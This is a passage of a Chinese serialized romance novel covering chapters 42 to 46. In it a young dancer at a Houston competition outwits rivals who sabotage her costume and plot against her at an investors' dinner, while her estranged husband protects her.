姜早这才松了口气,她英语真的很差,实在没达到和外国人正常沟通的程度:“我叫姜早,谢谢老师刚刚替我解围。”
“你不用喊我老师,都把我喊老了。”古纳瑟丽停下收拾的手,她补了一句道,“我看过你的比赛,怎么现在才来?”
姜早错愕道:“老师看过我的比赛?”
古纳瑟丽坐到床上,给自己拧了一瓶水,喝了一口才道:“之前我去过中国比赛,我在高年龄段组,比完赛觉得无聊,就留在椅子上看比赛,你当时跳得很好,我以为能很快在顶尖计划看到你。”
舞蹈很需要天赋,她是天赋中的一员,当然也能看出别人有天赋,她当时座在台下看台上,几组比赛下来都平庸没有浪花,只有这个人的动作有让她眼前一亮,当时她就记住了那个名字,叫姜早。
42. 第 42 章
那天,姜早和她聊了很久,多是聊一些舞蹈方面中西式教育的一些差异。
晚上吉纳瑟丽有事出去了,姜早便一个人呆在宿舍里。
床头灯的光微微暖,她拿起桌上的小卡片,暖光照在小卡片上不算太亮,看不清,只得关了床头灯,打开头顶的大灯。
这是组委会分发给每间房的比赛介绍。
一共分为三个阶段。
第一个阶段,是技巧组合个人展示,每个人拥有一分钟的展示时间,全程都将进行全球直播。
第二个阶段,是主教练培训剧目、舞蹈,规定时间内统一练习。
第三个阶段,是验收成果,即比赛阶段,所有学员融合主教练剧目组合,融合编创自己风格作品,根据作品优秀程度,大赛组委会将评出一二三等奖。
来这里的人,一部分是为了名利,也有一部分单纯是为了进修舞蹈。
最终的角逐一定会很激烈。
姜早正在走神,突然外面响起了一阵聊天的声音。她没在意,只是在想这房间的隔音不太好,转身将纸片放了回去打算睡觉。
正要伸手关灯的,耳边似乎听到了自己的名字,虽然没刻意凑过去仔细听,但是随着她们离门越来越近,那些话也听得越来越清晰。
“不是让你在国内看好她吗,怎么还是让她来了。”
“对不起,我也没想到她这么有手段。”
“不管如何,想办法让她遇到一点麻烦,好让她主动退赛,否则,对你对我,都是威胁,懂了吗?”
“懂,你放心,这件事交给我。”
“嗯,把这件事办好,直播该给你的镜头,我会让我爸给你调的。”
“好,我一定把这件事办好!”
起初,姜早不太确定这段对话指向的人是不是自己。
直到第二天领练功服的时候,她领到了一件剪坏的衣服,衣服的后面有一道很长的开口。
所有舞者的衣服都是根据个人身高尺寸定制,按照历年来比赛的经历,都会有备用的衣服才对。
可当她走过去问的时候,工作人员说这次准备的衣服没有多余的。
同样刚领完衣服的吉纳瑟丽听了全程,以为姜早的脸色会变得很差,结果看过去,她的脸色很平静,不像是发生什么的样子。
她走过去问:“需要帮忙吗?”
姜早心中有所想,面对她的好意,只是轻轻谢了一声,便离开了。
吉纳瑟丽望着那道背影,嘴角微微勾起,她倒是对这个女孩子有些佩服了。
...
半个小时后,全球直播正式开始。
四方形的场地外,围坐着一圈比赛者。站在正中间的主持人,对着摄影机说着开场词。
第一声音乐响起,所有人安静下来。
表演者走进正中心,聚光灯打在身上,身体跟着音乐舞动。
姜早静静的欣赏,仿佛什么都没有发生。
一道目光在对面紧紧盯着她,眉头紧锁。
难道是哪个环节出了错,不应该啊,为什么姜早一点反应都没有。
她忍不住起身。
“马上就要轮到我们这组的换衣服了,你去哪里。”
“我去上个厕所,马上回来。”
那道身影跑的很快,在应该拐角进厕所的时候,却闪身去了另一个方向。
她也许没料到有人会注意到这一幕。
姜早默默收回目光,手撑着地站起来。
坐在最前排的吉纳瑟丽望着那道离开的背影走了一会儿神,当周遭响起掌声,她才反应过来,拍了拍话筒,开始点评。
所有人的练功服都放在更衣室里,由专门的密码柜保管。
有人站在门口看了好久的名单,最终确认了目标的柜子号码,因为所有密码箱都是原始密码,很多人都还没来及改密码,她轻轻松松就用原始密码打开了柜子。
她急切的打开袋子求证,看到衣服后背的开叉还在,这才安心下来,仔细地封好袋子原模原样的放回去,才离开。
站在门后面的姜早,伸手将门推合上,低眸看向那一排柜子。
......
没过多久,主持人宣布前四个展示组即将结束,催场的工作人员立刻带着所有下半场的舞者去更换服装。
所有人安安静静的换服装,直到一声尖叫打破这里的平静。
“谁!谁把我衣服剪坏了!”
魏清雅将手里的衣服摔在地上,周遭的人动作都停了下来,看清是什么事之后,又自顾自忙碌起来。
“你自己没检查好吧,怪谁?”
“我们可没兴趣剪你的衣服。”
魏清雅扫视着周围,想找姜早的身影,却没有找到。
“赶紧去找主办方换吧,搞不好有替换的。”
魏清雅顾不得心中疑虑,飞快地跑出去,马上就要上场了,还是现场直播,必须要赶紧换上衣服,否则她全部苦心都白费了。
十分钟后,聚光灯朝中央打下。
姜早慢慢抬起睫毛,如同光诞生的天使,俯视所有人。
音乐的前调很慢,后调很快,很急。
舞台中央的人从原先慢动作收力,到后面连贯性的高难度技巧组合,编排中带着情绪,如同一个迷茫的人在追寻着光,探海翻身单膝起立慢动作往前,又是一个连贯的云里和侧手翻。
所有人被舞中的情绪带动,抑扬顿挫的音乐会有重音,姜早总能很好的收住力量,让整体动作和音乐完美契合。
舞蹈中不是所有都是输出才好看,有收有放更容易出效果。
姜早不同于别人,即使在舞蹈中运用情绪,也能很好的掌控整个编排技巧的难度,在保证创作意境好的同时,又能保证技巧组合的高难度展示,这不是很容易的一件事。
所有人都被她惊艳了。
聚光灯慢慢熄灭,掌声雷起。
姜早重重的闭上眼睛,鞠躬。
终于,她在这个舞台上获得了掌声。
这些认可,比以往来说,分量重得多。
下了场,她去换衣服,刚走进门,突然胳膊被死死抓住。
“姜早,是不是你做的?”魏清雅的眼睛死死的盯着她。
姜早的皮肤很嫩,很快就被捏了一圈泛红,她微微蹙眉,眼神不解:“我做了什么?”
魏清雅眼睛红的要滴出血来:“我的衣服是不是你调换的!”
姜早拍开那只手,抬起手腕揉了揉,神色不解
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:“我为什么要换你的衣服,你到底在说什么?”
魏清雅火上心头,抬起手就要扇过去,被姜早一只手攥住。
姜早冷冷道:“来这种地方,怎么干这么没素质的事,丢了中国人的脸。”
这句话,一语双关。
魏清雅当然听懂了,红着眼道:“果然是你换了我的衣服!你这个贱女人!我要打死你。”
姜早往后退了一步,闪开她另外一只要落下来的手,她故作不解:“学妹,你到底在说什么,我为什么要换你衣服啊?”
周围一圈看不懂热闹的国人凑了过来,也问:“对啊,魏清雅,你说人家换你衣服,人家衣服好好的为什么要换你的衣服啊?”
魏清雅口快道:“我的衣服是好的,她的衣服是坏的,可最后却反过来了,不是她换的是什么!”在最后全场直播的时候,所有人都在看发光的姜早,只有她死死的盯着姜早衣服的后背,红的要要滴血。
姜早的眉眼染上了一丝笑意,很快就淡了,快得不让人发觉,她道:“我的衣服是好的啊。”
魏清雅还不知道已经被绕进去了,咬死道:“你的衣服怎么可能是好的。”
旁边一直看不懂的人,也听出了一点不对劲来:“可是,你怎么知道她的衣服是坏的呢。”
魏清雅的声音顿住了。
有些没明白的人在听到这句话的时候,也反应了过来,神色意味不明的看着魏清雅。
魏清雅看到周围人的目光才反应过来,姜早没有把衣服坏了的消息传出去,只有她知道,刚刚情急之下,竟然被这些话绕进去了。
“你竟敢算计我!”魏清雅跑过去要揪她的头发。
一个一直站在角落里的女人,冷漠的看着这一幕,一直没有出声的她,在此刻淡淡道:“这位同学,赛程规定,学员不准私下斗殴,发现是会被直接踢出顶尖计划,你真的想好了吗?”
那只手马上要落到姜早脸上,闻声后瞬间收住了力气。
所有人都在附和这句话。
还有人欣赏的朝她投去目光。
魏清雅往后看了一眼,随后将手放下,回头看姜早眼神仍有恨意:“你给我等着!”
她转身,愤恨的离开。
姜早睨了一眼那个出声阻止的女人,那女人也在看她,两眼对视时,女人朝她轻笑,眼神带着友好。
她轻点了一下头,算作回礼,弯腰换鞋时,眼神望着地面,想的却是别的事。
这张脸很陌生,她的记忆中搜索不到这张脸。
可当时在门外,和魏清雅聊天的那道声音,和她一模一样,没错。
她还在走神,突然一双鞋走入她的视线。
抬头,仍是那张脸。
她和善地递出手:“hello,我是江玉,刚刚看到你的舞很欣赏你,可以和你认识一下吗?”
她的语气柔和,态度放的刚刚好,却不难看出高雅。
这种姿态,姜早似乎在哪里见过,只是想不起来了。
姜早握住那只手,嘴角轻笑,眸光却淡:“我叫姜早,很高兴认识你。”
“今晚有个聚会,你要不要一起。”她问。
姜早看着她,静默了一会儿,然后笑:“当然可以。”
43. 第 43 章
天空蒙蒙下起细雨,姜早撑着伞走进宿舍大楼,聚会在十点,她需要先回房间换一套衣服。
她收伞,往地上抖落雨滴,手机响起一声震动,是向北辰打来的电话,她边走,边按下接听。
似乎自从上次庆功宴告别向北辰后,就很少见他在面前出现了。
说起来,上次向北辰和她说过,要来休斯顿顶尖比赛参与摄影的,她刻意往摄影师那边看了几眼,似乎没看到他。
“学姐!”接通电话后,那边高兴的喊了一声,然后接着道,“我看了直播,你表现的太棒了!”
姜早扶着扶梯,慢慢走上去:“谢谢。”
向北辰那边似乎很吵,走了很久换了一个安静的地方才道:“学姐在休斯顿顺利吗?有没有好好吃饭?”
姜早不禁被逗笑:“你这语气怎么和我妈一样。”
向北辰打开窗户,挑眉道:“我还以为和学姐爸爸一样呢。”
姜早越听越不对,方才反应过来,定在原地:“好啊,向北辰,你居然占我便宜。”
电话那头的向北辰哈哈哈的笑了一会儿,才说:“心情好一点了吧?”
姜早顿住:“你怎么知道我心情不好?”
向北辰回忆起电视屏幕上那副画面,女孩盘坐在地上,正对着摄影机的脸美的让人惊艳,眼神却宛若冰川,毫无温度,甚至有一丝厌烦。不禁让他回忆起多年前的一封信,因为遇到了一个讨厌的人,就算是参加了喜欢的比赛,也开心不起来,她当时中二的问,这算不算对舞蹈的不尊重,弄得他苦笑不得。
回忆倒退,他抬头望着白云,淡淡道:“随便猜的。”
姜早摸着扶梯,有些好奇他是怎么猜中的,但又不想直接说他猜中了,只糊弄了一句道:“嗯嗯嗯,你真厉害。”
向北辰端着脸,苦闷道:“要是能亲自陪学姐比赛就好了。”
姜早这才想起来提摄影那件事:“之前你不是要参加这里的工作吗?”
说到这个向北辰就仰天长叹了一口气:“是啊,我本来是要来的,但最近工作实在太忙了,我去休斯顿的审批总部没有批下来,只能把那个外差推掉了。”
说来也奇怪。
刚进公司的时候,那几个老主管说,他们部门很清闲,只需要外派的时候拍几张形式化的照片就行了。
可他接收的活儿,怎么从早忙到晚,一刻都不带停?
他忙到甚至连看手机的时间都没有了。
家里人联系不到他,以为他被绑票了,差点报警。
当知道他是在公司加班之后,家里人不仅没有骂公司一句,还说沈氏这公司风水不错,养人,他真是有气没出撒,有理没处说啊。
姜早点点头:“一起努力,你在国内努力,我在国外努力。”
你和我这两个字。
靠的很近。
向北辰心中莫名甜滋滋,嘴角泛起一丝笑意:“好!一起努力!我在国内等你凯旋而归。”
“等谁凯旋而归。”门后面阴森森响起一道声音。
向北辰猛地回头,捂着心口看着角落里突然出现的人,急匆匆对着手机道:“学姐,我先挂电话了,有空再聊。”
“陆特助,你...怎么走路不出声啊。”向北辰双手捂着胸口,深吸了两口气才缓过来,颇有劫后余生的感觉。
“哦,我刚好在楼道里抽烟。”陆特助指了指楼下说。
向北辰看他:“说起来,我好像经常能偶遇陆特助啊。”自从进公司开始,他们就不停的在偶遇,如果不是性别相同,他都要怀疑陆特助是不是喜欢上他了。
陆特助耸肩,无所谓道:“是啊,沈总最近不在公司,我作为他的特助,没什么工作。”
向北辰疑惑地问:“沈总去哪里了?”
陆特助说:“去休斯顿追老婆了。”
向北辰惊疑道:“沈总他有老婆啊?”
“是啊,隐婚一段时间了。”陆特助说完,神情莫测的看着他。
但愿这样能点醒他,也算是积功德。
向北辰双手合十对着陆特助道:“那求您快把我去休斯顿的申请批下来,我也是去追老婆。”
“去把控制器拍摄策划案做出来,今晚之前发给我,合作方那边着急要。”陆特助摆摆手,走了。
向北辰魂不守舍的走到办公位上,哀怨的看着液晶屏。
隔壁老前辈正在泡花茶,看到他死气沉沉的脸,椅子滑到他旁边,道:“又被安排任务啦?”
向北辰看着那位前面,即使没出声,脸上的表情也说明了一切。
老前辈左右看了看旁边,压低声音道:“你有没有感觉到陆特助一直跟着你啊?”
向北辰重重点头。
老前辈抿了一口花茶:“上面这是要培养你啊。”
向北辰的眼中突然聚起了一点光亮:“为什么这么说?”
老前辈指着电脑说:“你做的这些项目经历,是不是你自己的,锻炼的本事和社交能力,是不是你自己的?”
向北辰想了想上个月的工资条:“可是我的工资没涨啊。”
老前辈放下茶杯,一脸觉得他俗气的样子:“眼前的工资算什么,上面给你这些项目经历,肯定是奔着培养你,给你未来升职用的,没给你涨工资是怕你年轻,不小心自傲毁了前途,上面对你用心良苦啊,你就偷着乐吧。说吧,你是不是和老板有关系,咱们几个都眼红死了。”
向北辰听完醍醐灌顶,眼神瞬间就亮了,他摆摆手道:“沈总怎么可能认识我,可能是觉得我能力还可以吧,好了好了,不说闲话了,一会儿工作忙不完了。”
他望着液晶屏,脑海中幻想的却是沈淮拍他肩头,郑重把姜早的手递给他的画面。
他也是幸运,小时候世交之间吃饭,见过沈淮一面。
就是沈淮太孤僻,他们都在玩打雪仗的时候,沈淮一个人在堆雪,导致他以为沈淮是个怪人,没和他交朋友。
也好在那时候见过一面,记住了那张脸的样子,沈淮长大后虽然不在外界露脸了,和小时候长得却是一样。在得知姜早是沈淮表妹之后,他恨不得抽自己一巴掌。
早知如此,他就算是被骂怪人,也要
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陪沈淮去堆雪,交他这个朋友。
不过现在也不晚。
他充满希望的将手放在键盘上,开始在电脑上雷霆般的操作。
只要在这工作,以后就能离姜早更近了。
老员工听着后面噼里啪啦的声音,和旁边同事相视了一眼,抬起水杯隔空敬了敬。
休斯顿的雨仍在下,姜早挂了电话,将手机收在口袋里,踩上最后一级台阶。
昏暗的光线下,有人湿漉漉的站在门口。
她走近,想要看看是谁。
要走近时,那人往后退了一步,脱下外衣,避免寒气外散。
“打电话不接,发短信不回,沈太太,你怎么这么不听话。”
昏暗的光线下,她蓦然撞入那双柔情的眸里,他的眼里没有半分责怪,反而是无限温柔和无奈。
时间仿佛就要停在这一刻。
姜早错开目光,道:“离婚协议我当时放在桌上了。”
沈淮像是没听见:“休斯顿零下了,你就穿这些冷不冷。”
姜早犹豫着将目光放回他身上:“沈淮?”
沈淮低头用衣服细心的将手上的水珠擦干,容不得一点水滴一般,时光就在这静止了好久。
就在姜早想要出声时候,沈淮一把攥住了她的手腕,将她往外面带:“我带你去买衣服。”
姜早抽回手,微微有些恼火的喊了一声他的名字:“沈淮!”
沈淮看着空落落的手,湿漉漉的头发坠下一滴水在他的鼻尖,茫然和无措。
“我们已经结束了。”姜早急匆匆的掏出房卡,想要进房,却看到那人又主动地站到了身后,像是下一秒就要跟着她一起进去。
她拧眉,侧过脸防备地问:“你想做什么?”
沈淮静静地望着她:“我没有住的地方。”
“外面有宾馆。”姜早不留情面道。
“我没带钱。”沈淮直勾勾的看她,眼神没有半分闪躲。
“我的室友是女生,你进来不方便。”姜早听出他说的话前后矛盾,也不再弯弯绕绕,直接了当的说道。
果然,沈淮把这句话听进去了,往后退了一步。
“嗯。”他靠到墙上,“那我不进去,就站在这里。”
这句话有些惹恼了姜早:“你到底想做什么?”
沈淮说:“带你去买衣服。”
“我一会儿有事。”姜早如实说,变向的拒绝。
沈淮说:“那我送你。”
姜早不解地看着那个人,她从未看到过这么执拗的沈淮。
周围的空气太静,夜晚也无人走动。
“那我送你。”沈淮认真看着她,补了一句,“可以吗?”
姜早深深闭上眼,没有作声,侧过头刷开房卡。
一只手突然紧紧攥住她。
用那双湿漉漉的眼睛,一刻不停的看着她,生怕下一秒被扔下一般。
姜早凝视着那双眸子,突然泄力:“我去换衣服,一会儿再出来。”
手上的力道渐渐松去。
他轻轻的嗯了一声。
44. 第 44 章
进屋的时候,古纳瑟丽正在对着视频扒舞,听到开门的声音,也没回头,调笑道:“需要我回避吗?”
姜早这才想起来,这房间的隔音很差,刚刚的话肯定全被古纳瑟丽听进去了,她有些尴尬道:“不用,他不进来。”
古纳瑟丽对着视频做了一个动作,似乎怎么做的不满意,又调整了几次,才回道:“你男朋友本事不小,这里都能进来。”
据她所知,这个宿舍楼管理森严,楼下还有个管理员,能得到批准进来,肯定都是投资方那边有人。
姜早以为这番话是介意沈淮出现在这里,下意识替他解围:“我已经跟他说过了,他下次不会过来了。”
她当然也能理解古纳瑟丽的担忧,毕竟这个比赛的宿舍,居住的全是女生,谁也不想这其中进来一个男人,谁都会揣测他是否不安好心。
古纳瑟丽停下动作,回头看了她一眼:“没事,我无所谓,你们早去早回,给我带点好吃的回来。”
姜早刚换好衣服,闻言有些不解:“老师也知道那个聚会?”
江玉如果要对她做什么,应该会降低她们之间的关联性,让越少人知道越好,或者只邀请她的几个好友,没想到她连老师都邀请,让这看起来真的只像一个普通的聚会。
可是,真的只是这样吗?
她回想睡前听到的那番对话,那个人绝对不像看着那么简单。
魏清雅嚣张跋扈,她知道魏清雅的性格,能让她如此尊敬的,应该是比她地位更高,手段更强的人。
她当时有意设计魏清雅,就是想牵连出另一个人,江玉是中招了没错,只是她像是故意中招的,为的就是引起自己的注意,提起那个聚会。
这个聚会看起来普通,却像个温柔的陷阱,一定不会简单。
“sure,我也收到邀请了。”古纳瑟丽关了平板,拖了外套躺在床上,惬意的舒展了身体,补了一句道,“听说她还邀请了几个资方过去,肯定不好玩,我拒绝了。”
姜早理衣领的手顿了顿,才接着有所动作,心中已经对江玉到底要做什么产生了好奇。
...
坐上车后。
沈淮手搭在方向盘上:“去哪?”
姜早已经先一步搜了导航,按高了音量,机械女声响起一长段:“全长12公里,需要三十分钟,向前直行后往右拐。”
姜早望着车窗外,淡淡道:“跟导航走。”
路灯暖橘色的光落在姜早的半边脸上,淡淡的,看不出情绪。
沈淮说:“好。”
大雨淅淅沥沥,却在车行驶的过程中,慢慢停了来来,只是天仍旧灰蒙蒙,加上是晚上,将这个夜显得更为寒冷。
车里很安静,少了雨声,静到只能听到导航的机械女声。
姜早轻轻闭上眼,恍惚中竟然想起了从前。
她当时经常坐在这个位置,只是那时的心境与如今终究是不同了。
机械女声不停播报“已为您跟换路线”这句话,将姜早从回忆中慢慢拉了回来。
她知道,只有开错路,导航才会自动给车主更换路线。
可是一直播报更换路线就有些怪了。
她侧眸,看着沈淮仍旧专注的开着车,没有半分慌乱。
她没再多想,猜测国外的路不好开,沈淮没那么熟悉。
这个念头,在最后车停下来的时候,得到了否定。
沈淮打开她的车门:“下车。”
姜早心中疑虑,看了一眼导航,导航还在继续播报,路线显示还没到达目的地,她手伸向安全扣,没立马按下:“是不是开错了,地图显示不是这里。”
沈淮说:“是这里。”
姜早指着手机里的导航:“可是导航显示还有一半的路。”液晶屏上的蓝色途径线,分明只开了一半,还有一半没开。
沈淮静了一会儿:“外面冷,先带你去买衣服。”
姜早蹙眉,这才明白自己是被骗了,她不太喜欢这种感觉。
她按下安全扣,拿着手机走下车,边走手边划拉着屏幕,按着蓝标的方向走:“你自己买吧,剩下的路我自己过去。”
虽然她方向感不太好,但有地图,这段路走起来应该不会太难。
反正这种夜路,她也走过好多遍了。
她还没走几步,眼前突然一晃,脚下失重,随后她被拦腰抱起。
她的手不受控的揽住沈淮的脖子,心脏因为刚刚那几下失重跳的很快,反应过来后,她用拳头锤了一下沈淮的肩膀:“你干什么,放我下来!”
沈淮转身,往大厦里走。
“乖一点。”沈淮轻声哄她,“买完就带你去。”
姜早气的撇过头,不再看他。
连同坐在珠光璀璨的奢侈服装店里时,她都没有理他。
无论服务人员给她选什么衣服,她都一股脑的说不喜欢。
本以为,这样说,沈淮就不会给她买衣服了。
没想到沈淮直接朝服务员递出一张黑色的卡:“把整个店的衣服都包起来。”
姜早虽然没见过这种卡面,但看那张黑色的卡,也猜测到是传说中的黑卡了,这句话沈淮说出来绝对不是玩笑话。
她大步走过去,拽住那只手,拧眉:“你疯了吗沈淮。”
沈淮不以为意,反手紧紧攥住那只手,用指尖轻轻在手背抚了两下:“你选不出来,就都拿回家慢慢选。”
姜早抽回手,急急从货架上抽了一件灰色大衣:“就这件吧。”
沈淮点点头,递给服务员:“这件。”
服务员惋惜的接过黑卡,挽留道:“女士还有什么需要的吗?以您的气质,咱们店的所有衣服都十分配你呢!”
姜早默默的看了一眼她扫出来的单架,液晶屏四位数都有数字,这么一件大衣居然要八千美元。
八千块美元的衣服谁穿都好看,和人没什么关系。
“不用了。”她婉拒道。
她刚刚一直拒绝,不单单是不想要,还是不敢要,普遍都是镶嵌钻石的衣服,一看就不便宜,到时候这钱她是要还给沈淮的。
服务员失望的叹了口气,在黑卡要触碰到刷卡机的时候,又补了一句道:“先生,我们这边也有男装哦,您身上的衣服湿了,需要换一件吗?”
沈淮看了一眼姜早:“不用了,她赶时间。”
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>姜早被这句话突然噎住,再侧眸一看服务员,瞪着一双希望的眼睛看着她。
姜早淡淡道:“嗯,我赶时间。”
她背过身,不去看他们,听到扫货机器在身后滴滴完,便往外走。
沈淮走得快,三步就追了上来,往前一步挡在她面前,将方才的外套披在她身上。
“外面冷,先穿好衣服。”他低头,耐心将她后背的长发捋顺。
姜早仰头,正撞入他墨色的眸子里,时间仿佛在这一刻静止,姜早错开眸子,往后退了一步:“走吧。”
“好。”他说。
......
终于,车停了下来,导航播报车辆已到达终点。
姜早下车刚走几步,就看到地上拉长的背影。
“沈淮。”她回过头。
沈淮停下来,抿唇:“我可以去吗?”
姜早毫不迟疑道:“不可以。”
沈淮低声道:“那我在车里等你。”
姜早没有回,转身刚打算走,手突然被攥住。
“我在车里等你。”沈淮又说了一遍。
姜早沉默了两秒,抽回手,“知道了。”
商业大厦很大,华光璀璨,亮的不像夜里,无与伦比的繁华。
姜早走的很慢,明明不是很长的一段路,她却用足了力气。
不喜欢沈淮是假的,刻意冷落沈淮也是假的。
什么都是假的,只有自卑和逃避是真的。
这段路,她走的很狼狈,只是旁人看不出。
乌云遮盖,天空灰蒙蒙的,终究还是续起了那场大雨。
橘黄的光照下,千万缕银丝垂落。
路上行人匆匆赶路,四散在这个寂静的夜晚。
“Doyouneedanumbrella,tenpiecesapiece。”卖伞的商贩走在街头,看到商机,激动的凑上去。
“No,thanks。”那声音淡淡。
“Whataweirdowholikestogetdrenchedhereonrainydays。”商贩奇怪的看了他一眼,举着伞骂骂咧咧的走了。
沈淮静静的站在原地,千万银丝坠在他单薄的衣衫上,他不以为然,视若无睹。
那道背影早就消失在实现了。
他仰头看着大楼的华光璀璨,不知她会在哪里停留。
已经上了电梯的姜早,背靠着电梯,呆呆的看着液晶屏上显示不断升高的数字。这个电梯是透明的,但她不敢往下看,不是恐高,是怕看到那个人还留在原地。
电梯一节一节上,她的心就不断往下沉。
电梯开的那一刹那,她听到了清晰的雨声。
本寂静的电梯,变得吵闹。
她背靠着电梯,静了好久好久。
她第一次感受到复杂的自己。
渴望被爱,又害怕辜负。
忘不掉,舍不得,放不下。
进退不得。
电话铃响起,她接起放到耳边。
“嗯,来了。”
她走下电梯,眼神直直的看着前方,连眼神都不敢侧视。
45. 第 45 章
她确认了包厢号,推门走了进去。
与想象中的不同,这个聚会就是一个普通的饭局,放眼望去,一个大圆桌容纳了大概二十个人,一半看起来是年岁较高的投资人,一半是这次参加比赛的舞者。
姜早扫了一眼,就都将那些人认了出来。
这些人都是顶尖计划中,首场亮相比较好那一批。
江玉作为组局的人,很有控场能力,指了一个位置让姜早坐下,然后与其他几个资本介绍这个新来的人。
介绍完,江玉凑到姜早旁边提醒道:“你怎么迟到这么久。”
姜早回想到刚才发生的,淡淡道:“堵车了。”
坐在主位上的男人笑道:“来晚了,那是不是得自罚一杯啊。”
他说的声音不大,因为这周围安静,所以听的格外清晰。
姜早感受到周围不一样的气氛,看着眼前的酒,突然感慨,这段时间好像和酒过不去了。
这种场合,没法拒绝。
她端着酒杯起身,脸上挂了淡淡的笑:“抱歉各位,路上堵车来晚了,我自罚一杯。”
门恰在此时被推开。
两个服务员打扮的人走了进来。
“I''msorryeveryone,theleadersaidthatthereisaproblemwiththisbatchofwineanditneedstobewithdrawn,asareparation,thisorderipletelyexemptedtoday.”
资本面色如常,没有责怪服务员说这批酒有问题,而是宽宏大量的想把这批酒留下:“We''vealreadystarteddrinking,sowedon''thavetoremoveit?”
服务员说这批次的酒有问题,资方却想要把这批酒留下,姜早慢慢地将杯子放远,凝视着杯子里倒映出的自己。
服务员像是没有听到江玉的话,径直走到姜早身边:“Ma''am,pleasegivemetheglass.”
说完,朝她伸手。
资本恰在此时道:“小朋友,来晚了赔罪,怎么也应该把这杯酒喝了吧。”
姜早抬眸,冰寒的眸子让那资本勾了勾唇角,提起了兴趣。
服务员伸着手,重复了一遍道:“Ma''am,pleasegivemetheglass.”
资本手指轻敲桌面:“Whyareyousoignorant,whoisyourleader?”
服务员看着有些动怒的客人,犯难的解释道:“Sorry,that''swhatitmeansabove。”
姜早的眼神望着这杯酒,晃了晃,抬眸轻轻扫过那个一直在阻拦的资本,冷笑道:“您这么着急,这杯酒里不会加了什么吧。”
资本之间目光交错,然后大笑起来,是那种中年人无忧无虑,傲慢的笑:“现在的年轻人想的倒是很多。”
江玉轻抬起酒杯抿了一口酒,咽下去之后,笑着抬杯示意:“姜早,你多虑了,我组的局,怎么会害你们呢?”
“不好意思,我就是个容易多想的人。”姜早笑了一声,将酒杯递给服务员,然后拿起旁边的茶杯,倒进杯子里,抬起笑着示意,“中国人的礼仪,我以茶代酒,敬各位一杯。”
服务员端着酒杯出去,走到了走廊的窗边,低头望着楼下。
连大老板都要下楼迎接的东方人,到底是什么人,他们忍不住多打量了两眼。
下一秒身后出现了一道影子。
两个服务员转身望过来,是方才包厢里的女士,她的眼神不像方才在里面时那般的坚毅不可催,反而是泛着淡淡的湿润。
服务员以为她遇到了什么困难,便转身贴心地问有什么需要帮助,只见那女人轻轻摇头,走到窗边,在高楼上俯视那道渺小的身影。
服务员转身离开,过了很久,仍旧看到那道身影站在那里,两个服务员对视一眼,摇摇头走开。
姜早伫立在窗口,整个人都静静的。
这种久违的维护,她猜出来了,除了沈淮,不会有别人。
只要他在,她永远不会一个人面对困难。
眼中划过一滴泪,她轻轻擦过,恰在此时沈淮仰头。
她仓惶的退后,靠到身后的墙上,眼泪粘连睫毛轻颤着落下,她轻轻闭上眼,低头又抬头,最后任由眼泪落下。
...
平复好心情后,她回包厢去完成剩下的饭局。
这个聚会,除了开始的时候,后面资方也没再刁难她,真的就是一个普通的饭局。
结束的时候,江玉作为主场的人,十分有礼数的,一个一个送别客人。
姜早很早就想走了,她没兴趣在这种局里面奉承资方,连吃饭都没胃口。
她起身要走时候,江玉像是才注意到她身上的新衣服,惊讶道:“姜早,你这身衣服真好看,是Guccl最新款吧。”
她这么奉承了,姜早顺从地接过,友好笑道:“不是,路边随便买的,你要是觉得好看我可以推荐给你。”
江玉打量了一会儿,婉拒道:“不用了,最近还不打算买新衣服。”
“嗯,那我先走了。”姜早余光看见那几个资本还没有要走的打算,还坐在那里喝茶。
“好再见。”
姜早不着痕迹的收回目光,走到转角,按下电梯,电梯门开了,她在里面按了楼层,然后退出来,轻声走进了阴影处。
电梯门恰在此时关上,发出往下行的声音。
她背靠着墙,仰头望着天花板。
无功而返?不可能。
不会这么简单的。
她望着地上那道拉长的背影,显然江玉还站在原来的位置,她还在那,在看什么呢,还是在想什么。
那影子动了动。
“嗯人下楼了,跟一段路再把她解决
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掉,计划有变,没喝醉酒,你们多注意。”
“好的江姐,是长头发,穿着大衣的一个女人是吧?”
电话那头的男人大声嚷着,在这一片他是大王,丝毫不在意周围有没有人。风吹草动,这句话飘进了某个淋雨的人耳朵里。
姜早闭上眼,静静地听着那段话说完。
包厢的门被关上。
姜早面无表情地低头,暗灭正在录音的手机。
这个人比魏清雅下手狠得多,也足够聪明。表面装的深明大义,心里其实满是算计。
姜早转身走进了步梯,只要把这段录音交给组委会,就能坐实江玉设计她的罪名。
她关上步梯的门,开着手电筒,在楼梯的一角坐下。
不得不承认,以她的能力,即使知道了整个事情的发展,也没办法去对抗那么多人,只能蜷缩在这里,等着白天人多的时候混出去。
她低头点开联系人列表,将沈淮从黑名单里拉了出来。
想了想,写道:我先回去了,你也早点回去吧。
发完消息,她将头轻轻靠在墙上,闭眼休息,不多时便睡着了。
不知睡了多久,听到一阵脚步声在门口响起,她迷迷糊糊的醒过来,睁眼就看到沈淮蹲在她身前。
她分不清梦境还是现实,还是问了一句:“你怎么来了。”
“接你。”沈淮拦腰将她抱起来。
姜早下意识勾住他的脖颈,被他身上泛着的冷意刺激醒了一分,这才意识到不是梦境。
姜早犹豫道:“你怎么知道我在这。”
沈淮轻描淡写了一句:“我找了所有监控。”
姜早垂下眸,没再吱声。
楼梯间很安静,他抱着她下了一层又一层,走到外面时,他将衣服盖过她头顶,护她到了车上。
姜早滴雨未沾。
她坐在车上,望着前方的路,愣愣的发着呆。
“接下来去哪?”沈淮说。
“回宿舍。”姜早侧眸看他,路灯残余的光线照在他的脖颈上,不知什么时候,他的脖子上有了一道擦痕,红的刺眼,她的手情不自禁地伸过去,“什么时候弄的。”
在要触及伤口那瞬间,沈淮握住那只手,轻轻放下,静静看着她:“不小心摔的。”
姜早无意间落下视线,注意到了他手上的淤青。
沈淮顺着她的视线往下望,收回手,启动了发动机:“我送你回去。”
“嗯。”姜早别过头,望着窗外的街景。
车里静静的,他们都没有出声,与来时一样寂静。
他没有说,她也没有问。
他们好像永远是这样。
导航提示到地点的时候,沈淮慢慢将车停下。
“有事给我打电话,我一直在楼下。”沈淮递过来他的衣服,“给你,挡雨。”
姜早看着他单薄的衣服,即使在车里,都能感觉到他身上散发的冷意。
“不用了。”姜早说。
46. 第 46 章
离开后,姜早在楼上的窗口,撩开窗帘往下望。
灯光打在那辆车上,突兀又明显。
他还在那里。
“出去这么久,还没和好?”
姜早放下窗帘,脱了外套挂在椅子上:“您了解江玉这个人吗?”
古纳瑟丽听到她转移话题,有趣的将视线从平板上移开:“不告诉你。”
姜早将手里的手机递给她:“我手里有个视频,给你看看。”
